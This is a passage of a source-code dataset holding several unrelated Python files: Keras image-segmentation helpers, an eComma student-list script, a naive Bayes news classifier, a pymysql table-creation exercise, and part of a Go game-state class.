segmentation tasks.\r\n\r\n#     The Mobile UNet model combines the popular MobileNetV2 architecture with the U-Net architecture,\r\n#     creating an efficient and effective model for pixel-wise segmentation. The MobileNetV2 serves as\r\n#     the feature extraction backbone, capturing hierarchical features, while the U-Net-like structure\r\n#     allows for precise localization of objects.\r\n\r\n#     Args:\r\n#         output_channels (int): Number of output channels, which corresponds to the number of classes to predict.\r\n#         weights: Weights for each class to be used during training.\r\n#         trainable (int): Number of layers to be trained in the MobileNetV2 backbone (default: 2).\r\n#         batch_bool (bool): Boolean value indicating whether to apply batch normalization (default: True).\r\n#         lr (float): Learning rate for the optimizer (default: 0.004).\r\n#         gamma (int): Gamma value for the SparseCategoricalFocalLoss (default: 1).\r\n\r\n#     Returns:\r\n#         tf.keras.Model: Mobile UNet model for semantic segmentation.\r\n#     \r\n\r\n    keras.backend.clear_session()\r\n    inputs = tf.keras.layers.Input(shape=[128, 128, 3])\r\n    base_model = tf.keras.applications.MobileNetV2(input_shape=[128, 128, 3], include_top=False)\r\n\r\n    # Use the activations of these layers\r\n    layer_names = [\r\n        'block_1_expand_relu',  # 64x64\r\n        'block_3_expand_relu',  # 32x32\r\n        'block_6_expand_relu',  # 16x16\r\n        'block_13_expand_relu',  # 8x8\r\n        'block_16_project',  # 4x4\r\n    ]\r\n    base_model_outputs = [base_model.get_layer(name).output for name in layer_names]\r\n\r\n    # Create the feature extraction model\r\n    down_stack = tf.keras.Model(inputs=base_model.input, outputs=base_model_outputs)\r\n\r\n    down_stack.trainable = True\r\n    for layer in down_stack.layers[:-trainable]:\r\n        layer.trainable = False\r\n        # Downsampling through the model\r\n    skips = down_stack(inputs)\r\n    x = skips[-1]\r\n    skips = reversed(skips[:-1])\r\n    up_stack = [\r\n        pix2pix.upsample(512, 3),  # 4x4 -> 8x8\r\n        pix2pix.upsample(256, 3),  # 8x8 -> 16x16\r\n        pix2pix.upsample(128, 3),  # 16x16 -> 32x32\r\n        pix2pix.upsample(64, 3),  # 32x32 -> 64x64\r\n    ]\r\n    # Upsampling and establishing the skip connections\r\n    for up, skip in zip(up_stack, skips):\r\n        x = up(x)\r\n        concat = tf.keras.layers.Concatenate()\r\n        x = concat([x, skip])\r\n        if batch_bool:\r\n            x = BatchNormalization()(x)\r\n\r\n    # This is the last layer of the model\r\n    last = tf.keras.layers.Conv2DTranspose(\r\n        filters=output_channels, kernel_size=3, strides=2,\r\n        padding='same', activation='softmax')  # 64x64 -> 128x128\r\n\r\n    x = last(x)\r\n    model = tf.keras.Model(inputs=inputs, outputs=x)\r\n    opt = tf.keras.optimizers.Adam(learning_rate=lr)\r\n    loss = SparseCategoricalFocalLoss(gamma=gamma, class_weight=weights,from_logits=False)\r\n    met = tf.keras.metrics.MeanIoU(num_classes=output_channels, sparse_y_pred=False)\r\n    model.compile(optimizer=opt,\r\n                  loss=loss,\r\n                  metrics=['accuracy', met])\r\n    return model\r\n\r\n\r\n#Functions for DeepLabNet\r\ndef convolution_block(block_input, num_filters=256, kernel_size=3, dilation_rate=1,\r\n        padding=\"same\", use_bias=False, batch_bool = True, dropout = 0.5 ):\r\n    # \r\n    # Applies a convolution block to the given input.\r\n\r\n    # Args:\r\n    #     block_input: Input tensor.\r\n    #     num_filters (int): Number of filters in the convolutional layer (default: 256).\r\n    #     kernel_size (int): Size of the convolutional kernel (default: 3).\r\n    #     dilation_rate (int): Dilation rate for the convolution (default: 1).\r\n    #     padding (str): Padding mode for the convolution (default: 'same').\r\n    #     use_bias (bool): Boolean value indicating whether to include a bias term in the convolutional layer (default: False).\r\n    #     batch_bool (bool): Boolean value indicating whether to apply batch normalization (default: True).\r\n    #     dropout (float): Dropout rate (default: 0.5).\r\n\r\n    # Returns:\r\n    #     Tensor: Output tensor after applying the convolution block.\r\n    # \r\n    x = layers.SeparableConv2D( num_filters, kernel_size=kernel_size, dilation_rate=dilation_rate,\r\n        padding=padding, use_bias=use_bias, kernel_initializer=keras.initializers.HeNormal())(block_input)\r\n    if batch_bool:\r\n        x = layers.BatchNormalization()(x)\r\n    x = layers.Dropout(dropout)(x)\r\n    return tf.nn.relu(x)\r\n\r\ndef DilatedSpatialPyramidPooling(dspp_input, drop_rate = 0.5, batch_bool = True):\r\n    # \r\n    # Applies Dilated Spatial Pyramid Pooling to the given input.\r\n\r\n    # Args:\r\n    #     dspp_input: Input tensor.\r\n    #     drop_rate (float): Dropout rate (default: 0.5).\r\n    #     batch_bool (bool): Boolean value indicating whether to apply batch normalization (default: True).\r\n\r\n    # Returns:\r\n    #     Tensor: Output tensor after applying Dilated Spatial Pyramid Pooling.\r\n    # \r\n\r\n    dims = dspp_input.shape\r\n    x = layers.AveragePooling2D(pool_size=(dims[-3], dims[-2]))(dspp_input)\r\n    x = convolution_block(x, kernel_size=1, use_bias=True, dropout=drop_rate, batch_bool = batch_bool)\r\n    out_pool = layers.UpSampling2D(\r\n        size=(dims[-3] // x.shape[1], dims[-2] // x.shape[2]), interpolation=\"bilinear\",\r\n    )(x)\r\n\r\n    out_1 = convolution_block(dspp_input, kernel_size=1, dilation_rate=1, dropout=drop_rate, batch_bool = batch_bool)\r\n    out_6 = convolution_block(dspp_input, kernel_size=3, dilation_rate=6, dropout=drop_rate, batch_bool = batch_bool)\r\n    out_12 = convolution_block(dspp_input, kernel_size=3, dilation_rate=12, dropout=drop_rate, batch_bool = batch_bool)\r\n    out_18 = convolution_block(dspp_input, kernel_size=3, dilation_rate=18, dropout=drop_rate, batch_bool = batch_bool)\r\n\r\n    x = layers.Concatenate(axis=-1)([out_pool, out_1, out_6, out_12, out_18])\r\n    output = convolution_block(x, kernel_size=1, dropout=drop_rate, batch_bool = batch_bool)\r\n    return output\r\n\r\ndef DeeplabV3Plus(image_size, num_classes, weight,\r\n                   drop_rate= 0.4, drop_rate2=0.2, batch_bool = False, batch_bool2 = True, lr = 0.005, gamma = 1):\r\n#    \r\n#     Constructs a DeepLabV3+ model for semantic segmentation tasks.\r\n\r\n#     DeepLabV3+ is a state-of-the-art model for pixel-wise semantic segmentation. It combines the\r\n#     powerful feature extraction capabilities of the ResNet50 backbone with dilated convolutions and\r\n#     spatial pyramid pooling to achieve precise object segmentation. The model utilizes skip connections\r\n#     to fuse features at different scales, enabling detailed object localization.\r\n\r\n#     Args:\r\n#         image_size (int): The input image size (both width and height).\r\n#         num_classes (int): Number of output classes to predict.\r\n#         weight: Weights for each class to be used during training.\r\n#         drop_rate (float): Dropout rate for regularization in the model (default: 0.4).\r\n#         drop_rate2 (float): Additional dropout rate for regularization in the model (default: 0.2).\r\n#         batch_bool (bool): Boolean value indicating whether to apply batch normalization (default: False).\r\n#         batch_bool2 (bool): Additional boolean value indicating whether to apply batch normalization (default: True).\r\n#         lr (float): Learning rate for the optimizer (default: 0.005).\r\n#         gamma (int): Gamma value for the SparseCategoricalFocalLoss (default: 1).\r\n\r\n#     Returns:\r\n#         tf.keras.Model: DeepLabV3+ model for semantic segmentation.\r\n#     \r\n    keras.backend.clear_session()\r\n    model_input = keras.Input(shape=(image_size, image_size, 3))\r\n    resnet50 = keras.applications.ResNet50(\r\n        weights=\"imagenet\", include_top=False, input_tensor=model_input\r\n    )\r\n    x = resnet50.get_layer(\"conv4_block6_2_relu\").output\r\n    x = DilatedSpatialPyramidPooling(x, drop_rate = drop_rate, batch_bool = batch_bool)\r\n\r\n    input_a = layers.UpSampling2D(\r\n        size=(image_size // 4 // x.shape[1], image_size // 4 // x.shape[2]),\r\n        interpolation=\"bilinear\",\r\n    )(x)\r\n    input_b = resnet50.get_layer(\"conv2_block3_2_relu\").output\r\n    input_b = convolution_block(input_b, num_filters=48, kernel_size=1, dropout=drop_rate2, batch_bool = batch_bool2)\r\n\r\n    x = layers.Concatenate(axis=-1)([input_a, input_b])\r\n    x = convolution_block(x, dropout=drop_rate2, batch_bool = batch_bool2)\r\n    x = convolution_block(x, dropout=drop_rate2, batch_bool = batch_bool2)\r\n    x = layers.UpSampling2D(\r\n        size=(image_size // x.shape[1], image_size // x.shape[2]),\r\n        interpolation=\"bilinear\",\r\n    )(x)\r\n    model_output = layers.Conv2D(num_classes, kernel_size=(1, 1), padding=\"same\")(x)\r\n    model = keras.Model(inputs=model_input, outputs=model_output)\r\n    opt = tf.keras.optimizers.Adam(learning_rate=lr)\r\n    loss = SparseCategoricalFocalLoss(from_logits=True, class_weight=weight, gamma=gamma)\r\n    met = tf.keras.metrics.MeanIoU(num_classes=num_classes, sparse_y_pred=False)\r\n    model.compile(optimizer=opt,\r\n                  loss=loss,\r\n                  metrics=['accuracy', met])\r\n    return model\r\n\r\n\r\n###callbacks\r\ndef reduce_lr():\r\n    # \r\n    # Create a ReduceLROnPlateau callback for learning rate reduction during training.\r\n\r\n    # ReduceLROnPlateau is a callback in Keras that reduces the learning rate when a monitored metric\r\n    # has stopped improving. It is commonly used to fine-tune the learning rate during training to\r\n    # improve model performance.\r\n    # our monitored metric is val_mean_io_u\r\n\r\n    # Returns:\r\n    #     tf.keras.callbacks.ReduceLROnPlateau: ReduceLROnPlateau callback for learning rate reduction.\r\n    # \r\n    reduce_lr = tf.keras.callbacks.ReduceLROnPlateau(\r\n        monitor=\"val_mean_io_u\",\r\n        factor=0.5,\r\n        min_delta=0.001,\r\n        patience=3,\r\n        min_lr=0.000001,\r\n        verbose=1,\r\n    )\r\n    return reduce_lr\r\n\r\ndef early_stop():\r\n    # \r\n    # Create an EarlyStopping callback for early stopping during training.\r\n\r\n    # EarlyStopping is a callback in Keras that stops the training process early when a monitored\r\n    # metric has stopped improving. It is commonly used to prevent overfitting and save training time\r\n    # by stopping the training if the model performance does not improve over a certain number of\r\n    # epochs.\r\n    # Our monitored metric is val_mean_io_u. This will also restore to the model with best \r\n    # val_mean_io_u value\r\n\r\n    # Returns:\r\n    #     tf.keras.callbacks.EarlyStopping: EarlyStopping callback for early stopping during training.\r\n    # \r\n    early_stopping = EarlyStopping(\r\n        monitor='val_mean_io_u',\r\n        min_delta=0.001,\r\n        patience=8,\r\n        mode='max',\r\n        restore_best_weights=True,\r\n        verbose=1,\r\n    )\r\n    return early_stopping\r\n\r\n\r\n###result display\r\ndef plot_accuracy(history):\r\n    # \r\n    # Plot the accuracy of a model during training.\r\n\r\n    # This function plots the accuracy values achieved by a model during training and validation\r\n    # across different epochs. It provides a visual representation of how the accuracy changes over\r\n    # the course of training, allowing for easy interpretation of the model's performance.\r\n\r\n    # Args:\r\n    #     history (tf.keras.callbacks.History): The history object obtained from model training.\r\n\r\n    # Returns:\r\n    #     None\r\n    # \r\n    try:\r\n        plt.plot(history.history['accuracy'])\r\n        plt.plot(history.history['val_accuracy'])\r\n    except KeyError:\r\n        plt.plot(history.history['acc'])\r\n        plt.plot(history.history['val_acc'])\r\n    plt.title('Accuracy vs. epochs')\r\n    plt.ylabel('Accuracy')\r\n    plt.xlabel('Epoch')\r\n    plt.legend(['Training', 'Validation'], loc='lower right')\r\n    plt.show()\r\n\r\ndef plot_meaniou(history):\r\n    # \r\n    # Plot the mean Intersection over Union (IoU) of a model during training.\r\n\r\n    # This function plots the mean Intersection over Union (IoU) values achieved by a model during\r\n    # training and validation across different epochs. The mean IoU is a commonly used metric for\r\n    # evaluating the performance of image segmentation models. This function provides a visual\r\n    # representation of how the mean IoU changes over the course of training.\r\n\r\n    # Args:\r\n    #     history (tf.keras.callbacks.History): The history object obtained from model training.\r\n\r\n    # Returns:\r\n    #     None\r\n    # \r\n    plt.plot(history.history['mean_io_u'])\r\n    plt.plot(history.history['val_mean_io_u'])\r\n    plt.title('mean_iou vs. epochs')\r\n    plt.ylabel('mean_iou')\r\n    plt.xlabel('Epoch')\r\n    plt.legend(['Training', 'Validation'], loc='upper right')\r\n    plt.show()\r\n\r\ndef plot_loss(history):\r\n    # \r\n    # Plot the loss of a model during training.\r\n\r\n    # This function plots the loss values achieved by a model during training and validation across\r\n    # different epochs. The loss is a commonly used metric for evaluating the performance of machine\r\n    # learning models. This function provides a visual representation of how the loss changes over\r\n    # the course of training.\r\n\r\n    # Args:\r\n    #     history (tf.keras.callbacks.History): The history object obtained from model training.\r\n\r\n    # Returns:\r\n    #     None\r\n    # \r\n    plt.plot(history.history['loss'])\r\n    plt.plot(history.history['val_loss'])\r\n    plt.title('Loss vs. epochs')\r\n    plt.ylabel('Loss')\r\n    plt.xlabel('Epoch')\r\n    plt.legend(['Training', 'Validation'], loc='upper right')\r\n    plt.show() \r\n\r\ndef create_mask(pred_mask):\r\n    # \r\n    # Create a mask from the predicted mask.\r\n\r\n    # This function takes the predicted mask generated by a model and performs post-processing to convert\r\n    # it into a binary mask. The predicted mask is typically a probability distribution over different\r\n    # classes, and this function selects the class with the highest probability as the final mask.\r\n\r\n    # Args:\r\n    #     pred_mask (tf.Tensor): The predicted mask generated by a model.\r\n\r\n    # Returns:\r\n    #     np.ndarray: The binary mask obtained from the predicted mask.\r\n    # \r\n    pred_mask = tf.argmax(pred_mask, axis=-1)\r\n    pred_mask = pred_mask[..., tf.newaxis]\r\n    return np.array(pred_mask)\r\n    \r\ndef display(display_list, titles=None):\r\n    # \r\n    # Display a list of images or masks with optional titles.\r\n\r\n    # This function takes a list of images or masks and displays them in a grid layout. Each image or mask is\r\n    # shown as a subplot with an optional title. The function is useful for visualizing input images, true masks,\r\n    # and predicted masks generated by different models.\r\n\r\n    # Args:\r\n    #     display_list (list): A list of images or masks to be displayed.\r\n    #     titles (list, optional): A list of titles for each image or mask. If not provided, default titles are used.\r\n\r\n    # Returns:\r\n    #     None\r\n    # \r\n    plt.figure(figsize=(20, 20))\r\n    if titles is None:\r\n        title = [\"Input Image\", \"True Mask\", \"DeepLab\", \"MobileNet\", \"Simple U-Net\", \"Soft Voting Mask\"]\r\n    else:\r\n        title = [\"Input Image\", \"True Mask\", titles]\r\n    for i in range(len(display_list)):\r\n        plt.subplot(1, len(display_list), i + 1)\r\n        plt.title(title[i])\r\n        plt.imshow(display_list[i])\r\n        plt.axis(\"off\")\r\n    plt.show()\r\n\r\ndef show_predictions(mod, img=None, label=None, num=1, titles=None):\r\n    # \r\n    # Display predictions made by a model on input images and corresponding labels.\r\n\r\n    # This function takes a trained model (`mod`) and optional input images (`img`) and corresponding labels (`label`).\r\n    # It predicts masks using the model and displays the input image, true mask, and predicted mask for a specified number\r\n    # of samples (`num`). The function also supports providing custom titles for each displayed item.\r\n\r\n    # Args:\r\n    #     mod (tf.keras.Model): A trained model used for prediction.\r\n    #     img (ndarray, optional): Input images. If provided, the function will predict masks for these images.\r\n    #     label (ndarray, optional): Corresponding true masks. If provided, the true mask will be displayed alongside\r\n    #                                the predicted mask.\r\n    #     num (int, optional): The number of samples to display predictions for.\r\n    #     titles (list, optional): A list of titles for each displayed item. If not provided, default titles are used.\r\n\r\n    # Returns:\r\n    #     None\r\n    # \r\n    if img is not None:\r\n        for i in range(num):\r\n            pred_mask = mod.predict(img, verbose=0)\r\n            footprint = disk(4)\r\n            mask = np.array(create_mask(pred_mask[i])).reshape(128, 128)\r\n            mask = morphology.closing(mask, footprint)\r\n            display([img[i], label[i], mask], titles)\r\n\r\n\r\n## Soft Voting\r\ndef voting(model_names, t_images, t_labels, offset=10, num=3, numclasses=6):\r\n    # \r\n    # This function performs soft voting ensemble prediction on a list of\r\n    # pre-trained models. Soft voting is a technique where the predicted\r\n    # probabilities from multiple models are averaged to obtain the final\r\n    # prediction. The function takes a list of model names, test images, and\r\n    # ground truth labels as inputs, and returns the soft voting ensemble\r\n    # predicted masks.\r\n\r\n    # Args:\r\n    #     model_names (list): List of model names to load and use for prediction.\r\n    #     t_images (ndarray): Array of test images.\r\n    #     t_labels (ndarray): Array of ground truth labels for the test images.\r\n    #     offset (int): Offset value to start the visualization from (default: 10).\r\n    #     num (int): Number of samples to visualize (default: 3).\r\n    #     numclasses (int): Number of classes in the classification task (default: 6).\r\n\r\n    # Returns:\r\n    #     ndarray: Soft voting ensemble predicted masks.\r\n\r\n    # The function iterates over the `model_names` list and performs the\r\n    # following steps for each model:\r\n    # 1. Loads the model using Keras `load_model` function.\r\n    # 2. Preprocesses the test images based on the model's requirements. For\r\n    #    example, if the model expects input images to be normalized or\r\n    #    preprocessed in a specific way, the function applies the necessary\r\n    #    transformations.\r\n    # 3. Performs predictions on the preprocessed test images using the loaded\r\n    #    model.\r\n    # 4. Accumulates the predicted probabilities in the `soft` array by adding\r\n    #    them element-wise.\r\n\r\n    # After processing all models, the function performs post-processing on the\r\n    # accumulated soft predictions to obtain the final soft voting ensemble\r\n    # predicted masks. It applies a morphological closing operation to smoothen\r\n    # the boundaries of the predicted masks.\r\n\r\n    # The function then calculates the mean Intersection over Union (IoU) between\r\n    # the ground truth labels and the soft voting ensemble predicted masks using\r\n    # the MeanIoU metric.\r\n\r\n    # Finally, the function prints the mean IoU value and returns the soft voting\r\n    # ensemble predicted masks as an ndarray of shape (num_samples,\r\n    # image_height, image_width).\\\r\n\r\n    \r\n    soft = np.empty(t_labels.shape + (6,))\r\n    #hard = []\r\n    miou = tf.keras.metrics.MeanIoU(num_classes=numclasses)\r\n    footprint = morphology.disk(radius=4)\r\n    for _model_name in model_names:\r\n        gc.collect()\r\n        print(_model_name)\r\n        keras.backend.clear_session()\r\n        gc.collect()\r\n        temp_images = np.copy(t_images)\r\n        if \"mobile\" in _model_name:\r\n            temp_images = mobilenet_v2.preprocess_input(temp_images)\r\n        else:\r\n            temp_images /= 255.0\r\n        model = keras.models.load_model(_model_name)\r\n        preds = model.predict(temp_images, verbose=0)\r\n     #   mask = create_mask(preds)\r\n        soft = soft + preds\r\n     #   hard.append(mask)\r\n        del model\r\n        del mask\r\n    keras.backend.clear_session()\r\n    gc.collect()\r\n    s_vote = create_mask(soft)\r\n    for i in range(len(s_vote)):\r\n        if i % 100 == 0:\r\n            print(\"percent complete: {:.0%}\".format((i / len(s_vote))), end=\"\\r\")\r\n        x = morphology.closing(s_vote[i].reshape(128, 128), footprint).reshape(128,128,1)\r\n        s_vote[i] = x\r\n    #hard = np.array(hard)\r\n    miou.reset_state()\r\n    miou.update_state(t_labels, s_vote)\r\n    print('s_voting')\r\n    print(miou.result().numpy())\r\n    # for i in range(num):\r\n    #     hard0 = morphology.closing(hard[0, i + offset].reshape(128, 128), footprint)\r\n    #     hard1 = morphology.closing(hard[1, i + offset].reshape(128, 128), footprint)\r\n    #     hard2 = morphology.closing(hard[2, i + offset].reshape(128, 128), footprint)\r\n    #     s_vote1 = np.array(s_vote[i + offset])\r\n    #     display([t_images[i + offset]/255.0, t_labels[i + offset], hard0, hard1, hard2, s_vote1])\r\n    return s_vote\r\n\r\n\r\n## Saving Georefrence data\r\ndef save_geo(masks, georef):\r\n    # \r\n    # Saves the predicted masks as GeoTIFF files with there Geo-refrenceing data as well.\r\n\r\n    # Args:\r\n    #     masks (ndarray): Array of predicted masks.\r\n    #     georef (list): List of geographic references corresponding to each mask.\r\n\r\n    # Returns:\r\n    #     None\r\n    for i in range(len(georef)):\r\n        file_name = 'predictions/' + str(i) +'.tif'\r\n        temp_data = rasterio.open(\r\n            file_name,\r\n            'w',\r\n            driver = 'GTiff',\r\n            height = 128,\r\n            width = 128,\r\n            count = 1,\r\n            dtype = masks.dtype,\r\n            crs = 'EPSG:32610',\r\n            transform = georef[i]\r\n        )\r\n        temp_data.write(masks[i].reshape(1,128,128))\r\n        temp_data.close()\r\n","repo_name":"tylerjmwhit/Canopy_Damage_segmentation","sub_path":"helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":31795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6891976730","text":"# This python script takes a set of eComma xml data files and produces a list of student names who participated.\r\n# From this list, those who have signed a consent form can have their names manually removed.\r\n# This leaves a list of students to redact from the data.\r\n\r\n\r\nfrom xml.dom.minidom import parse, parseString\r\n\r\n# Put the course number here before saving and running the script\r\ncoursenumber = '36360'\r\n\r\n# Open the files and parse them with minidom\r\nch2data = open('ecomma_comments_export_%s_Ch2.xml' % coursenumber, encoding=\"UTF-8\")\r\nch2doc = parse(ch2data)\r\nch3data = open('ecomma_comments_export_%s_Ch3.xml' % coursenumber, encoding=\"UTF-8\")\r\nch3doc = parse(ch3data)\r\nch4data = open('ecomma_comments_export_%s_Ch4.xml' % coursenumber, encoding=\"UTF-8\")\r\nch4doc = parse(ch4data)\r\nch5data = open('ecomma_comments_export_%s_Ch5.xml' % coursenumber, encoding=\"UTF-8\")\r\nch5doc = parse(ch5data)\r\n#ch6data = open('ecomma_comments_export_%s_Ch6.xml' % coursenumber, encoding=\"UTF-8\")\r\n#ch6doc = parse(ch6data)\r\n#ch7data = open('ecomma_comments_export_%s_Ch7.xml' % coursenumber, encoding=\"UTF-8\")\r\n#ch7doc = parse(ch7data)\r\n\r\n# Get list of student author names from each chapter\r\nstudentlist = []\r\nfor node in ch2doc.getElementsByTagName('Author'):\r\n    studentlist.append(node.firstChild.nodeValue)\r\nfor node in ch3doc.getElementsByTagName('Author'):\r\n    studentlist.append(node.firstChild.nodeValue)\r\nfor node in ch4doc.getElementsByTagName('Author'):\r\n    studentlist.append(node.firstChild.nodeValue)\r\nfor node in ch5doc.getElementsByTagName('Author'):\r\n    studentlist.append(node.firstChild.nodeValue)\r\n# for node in ch6doc.getElementsByTagName('Author'):\r\n#     studentlist.append(node.firstChild.nodeValue)\r\n# for node in ch7doc.getElementsByTagName('Author'):\r\n#     studentlist.append(node.firstChild.nodeValue)\r\n    \r\n# Write each name once to a txt file\r\nwith open('studentlist_%s.txt' % coursenumber, 'w') as f:\r\n    for item in set(studentlist):\r\n        f.write(\"%s\\n\" % item)\r\n","repo_name":"jimlaloi/eComma","sub_path":"ecomma_GetStudentList.py","file_name":"ecomma_GetStudentList.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"2761613459","text":"\r\nimport os,sys,re,csv\r\nfrom os.path import join\r\nfrom nltk.corpus import stopwords,names\r\nfrom nltk.stem.lancaster import LancasterStemmer\r\nimport nltk.sem.chat80 as a\r\nimport nltk\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.feature_extraction.text import TfidfTransformer\r\nfrom scipy import io,sparse\r\n\r\nq = \"SELECT City FROM city_table\"\r\nCC=[]\r\nfor answer in a.sql_query('corpora/city_database/city.db', q):\r\n    CC.append((\"%-10s\" % answer).strip())\r\nq = \"SELECT country FROM city_table\"\r\nfor answer in a.sql_query('corpora/city_database/city.db', q):\r\n    CC.append((\"%-10s\" % answer).strip())\r\nfile=open(\"IndianPeopleSorted.csv\",encoding=\"utf8\")\r\ncorpus = file.read().splitlines()\r\nLi=[]\r\nfor name in corpus:\r\n    Li.extend(name.strip().split())\r\nfile.close()\r\nfile=open(\"cities.csv\",encoding=\"utf8\")\r\ncorpus = file.read().splitlines()\r\nLi1=[]\r\nfor name in corpus:\r\n    Li1.extend(name.strip().split())\r\nfile.close()\r\nclass news_classifier():\r\n    \r\n    features=[]\r\n    list=[]\r\n    #print(stopwords.words()+names.words())\r\n    def tokenize(self,text):\r\n        terms = re.findall(r'\\w+', text) \r\n        terms = [term for term in terms if not term.isdigit()] \r\n        #print(terms)\r\n        return terms\r\n\r\n    def frequency(self,text):\r\n        sent=self.tokenize(text)\r\n        string=\"\"\r\n        for i in sent:\r\n            if i not in stopwords.words('english')+names.words()+Li+CC+Li1:\r\n                las=LancasterStemmer()\r\n                temp=las.stem(i)\r\n                lemma = nltk.wordnet.WordNetLemmatizer()\r\n                lemma.lemmatize(temp)\r\n                string+=str(temp+\" \")\r\n                    \r\n        return string\r\n        \r\n    def main(self):\r\n        dataset_path=os.path.dirname(os.path.realpath(__file__))\r\n        #print(os.listdir(dataset_path))\r\n        L=[]\r\n        file=[]\r\n        \r\n        f=open(\"data1.csv\",\"w\")\r\n        f.write(\"\")\r\n        f.close()\r\n        print()\r\n        print(\"Data preprocesing in: \")        \r\n        for dirname in os.listdir(dataset_path):\r\n            classpath = join(dataset_path, dirname)\r\n            for dirpath, dirnames, filenames in os.walk(classpath):\r\n                for filename in filenames:\r\n                    print(filename,'...')\r\n                    file.append(dirname)\r\n                    filepath = join(dirpath, filename)\r\n                    f=open(filepath,\"r\")\r\n                    freq=self.frequency(f.read())\r\n                    L.append(freq)\r\n                    f.close()\r\n                    f=open(\"data1.csv\",\"a\")\r\n                    f.write(str(freq+\"\\n\"))\r\n                    f.close()\r\n                    print(\"successfull data preprocessing in \",filename)\r\n        print(\"Successful data preprocessing\")\r\n        print(\"Data successfully written to data1.csv file\")\r\n        vectorizer = CountVectorizer(min_df=0)\r\n        X = vectorizer.fit_transform(L)\r\n        #print (type(X))\r\n        #print (X.shape)\r\n        #print(X.toarray())\r\n        transformer = TfidfTransformer(smooth_idf=True)\r\n        tfidf = transformer.fit_transform(X)\r\n        print()\r\n        print(\"TF-IDF Matrix:\")\r\n        print(tfidf.toarray())\r\n        clf = MultinomialNB()\r\n        clf.fit(tfidf,file)\r\n        print()\r\n        print(\"Classification types:\")\r\n        print(file)\r\n        f1=open(\"test1.txt\",\"r\")\r\n        fr=self.frequency(f1.read())\r\n        f1.close()\r\n        print()\r\n        print(\"Prediction:\")\r\n        print(str(clf.predict(vectorizer.transform([fr]).toarray())))\r\n        \r\n    def main2(self):\r\n        dataset_path=os.path.dirname(os.path.realpath(__file__))\r\n        #print(os.listdir(dataset_path))\r\n        L=[]\r\n        file=[]\r\n        for dirname in os.listdir(dataset_path):\r\n            classpath = join(dataset_path, dirname)\r\n            for dirpath, dirnames, filenames in os.walk(classpath):\r\n                for filename in filenames:\r\n                    print(filename)\r\n                    file.append(dirname)\r\n                    filepath = join(dirpath, filename)\r\n        \r\n        file1=open(\"data1.csv\",\"r\")\r\n        corpus=file1.read().splitlines()\r\n        file1.close()\r\n        print()\r\n        print(\"Data successfully read from data1.csv\")\r\n        vectorizer = CountVectorizer(min_df=0)\r\n        X = vectorizer.fit_transform(corpus)\r\n        transformer = TfidfTransformer(smooth_idf=True)\r\n        tfidf = transformer.fit_transform(X)\r\n        print()\r\n        print(\"TF-IDF Matrix:\")\r\n        print(tfidf.toarray())\r\n        clf = MultinomialNB()\r\n        clf.fit(tfidf,file)\r\n        print()\r\n        print(\"Classification types:\")\r\n        print(file)\r\n        f1=open(\"test1.txt\",\"r\")\r\n        fr=self.frequency(f1.read())\r\n        f1.close()\r\n        print()\r\n        print(\"Prediction:\")\r\n        print(clf.predict(vectorizer.transform([fr]).toarray()))\r\n        \r\nif __name__=='__main__':                       \r\n    k=news_classifier()\r\n    if(sys.argv[1]==\"1\"):\r\n        k.main()\r\n        #k.main2()\r\n    else:\r\n        if(sys.argv[1]==\"2\"):\r\n            k.main2()\r\n\r\n","repo_name":"iamsanjay97/Resume_Classifier","sub_path":"Final.py","file_name":"Final.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"42681600820","text":"import  pymysql\n\n# db = pymysql.connect(\"localhost\",\"root\",\"tracy\",\"eddy\")\ndb = pymysql.connect(\"172.18.81.188\",\"root\",\"tracy\",\"eddy\")\n#创建一个cursor对象\ncursor = db.cursor()\n\n\n#建表\nsql = 'create table bankcards(id int auto_increment primary key,money int not null)'\ncursor.execute(sql)\n\n\n\n#断开\ncursor.close()\ndb.close()\n\n","repo_name":"hackergong/Python-TrainingCourseLearning","sub_path":"day017/3,MySQL与Python交互/2,创建数据库表.py","file_name":"2,创建数据库表.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30866069201","text":"from typing import Optional, List\n\nfrom alphazero.games import GameState, Player\nfrom .board import GoBoard\nfrom .exception import IllegalGoMoveException\nfrom .move import GoMove\nfrom .player import GoPlayer\nfrom .scoring import compute_game_result\n\n\nclass GoGameState(GameState[GoMove, GoPlayer, GoBoard]):\n\n    def __init__(self,\n                 board: GoBoard,\n                 player: GoPlayer,\n                 previous_state: Optional['GoGameState'] = None,\n                 last_move: Optional[GoMove] = None) -> None:\n        super().__init__()\n        self._board = board\n        self._player = player\n        self.previous_state = previous_state\n        if self.previous_state is None:\n            self.previous_states = frozenset()\n        else:\n            self.previous_states = frozenset(\n                previous_state.previous_states |\n                {(previous_state.player, previous_state.board.zobrist_hash())}\n            )\n        self.last_move = last_move\n\n    @property\n    def player(self) -> GoPlayer:\n        return self._player\n\n    @property\n    def board(self) -> GoBoard:\n        return self._board\n\n    @classmethod\n    def get_initial_state(cls, size: int = 9) -> 'GoGameState':\n        return cls(GoBoard(size), GoPlayer.BLACK)\n\n    @property\n    def current_player(self) -> Player:\n        return self.player\n\n    def next(self, move: GoMove) -> 'GoGameState':\n        if self.is_terminal():\n            raise IllegalGoMoveException(\"Game has ended.\")\n        next_board = self.board.copy()\n        if move.is_play:\n            next_board.place_stone(self.player, move.point)\n        return GoGameState(next_board, self.player.opponent, self, move)\n\n    def get_legal_moves(self) -> List[GoMove]:\n        legal_play_moves = [GoMove(p)\n                            for p in self.board.get_empty_points()\n                            if self.is_legal_move(GoMove(p))]\n        return legal_play_moves + [GoMove.resign(), GoMove.pass_turn()]\n\n    def is_legal_move(self, move: GoMove):\n        if self.is_terminal():\n            return False\n        if move.is_resign or move.is_pass:\n            return True\n        return self.board.get(move.x, move.y) is None \\\n               and not self.board.is_move_self_capture(self.player, move.point) \\\n               and not self.does_move_violate_ko(self.player, move)\n\n    def does_move_violate_ko(self, player, move):\n        if not move.is_play:\n            return False\n        next_board = self.board.copy()\n        next_board.place_stone(player, move.point)\n        next_state = (player.opponent, 